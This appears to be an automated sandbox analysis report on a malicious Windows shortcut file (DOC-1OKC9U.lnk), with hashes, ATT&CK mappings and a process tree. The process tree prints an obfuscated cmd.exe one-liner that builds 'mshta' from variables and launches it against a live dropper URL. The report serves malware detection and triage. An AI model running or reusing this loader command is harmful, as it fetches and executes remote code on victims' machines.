15139d27ee40ef245daa9e81a4736409bc7f243c1c1841fee88b3cac5dd7b079

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 11:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-1OKC9U.lnk
Size 1KB
Sample260817-ndv8tayfle
SHA256 15139d27ee40ef245daa9e81a4736409bc7f243c1c1841fee88b3cac5dd7b079
MD5 488bf3ddf42f05b4e7c3c1a79dc3551b
SHA1 bbc5a7af81c102d9a3703e20b883804e89c94151
SHA512 520b64c07063901fa2bee974284908ba4b8a93950f8d80ae34e3a8f9ec1f31f675a61324057a317a49b23b93026a5fc00fea9d0fd14c47cddb01cbc50d29a8b6
TLSH
T10F317B103FE90618F3F38E7398FB572085BFB9668E20CA1E4140454D1032A15E57AFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://geo-pdfiler.lat/h/estagio1.php?r=331061

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4260	cmd.exe
5816	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4260 wrote to memory of 5816	4260	cmd.exe	89
PID 5816 wrote to memory of 988	5816	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1OKC9U.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4260
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set BtMu=msh&&set jR=ta&&start "" !BtMu!!jR! https://geo-pdfiler.lat/h/estagio1.php?r=331061"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Windows\System32\mshta.exe
    mshta https://geo-pdfiler.lat/h/estagio1.php?r=331061
    3⤵
    PID:988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads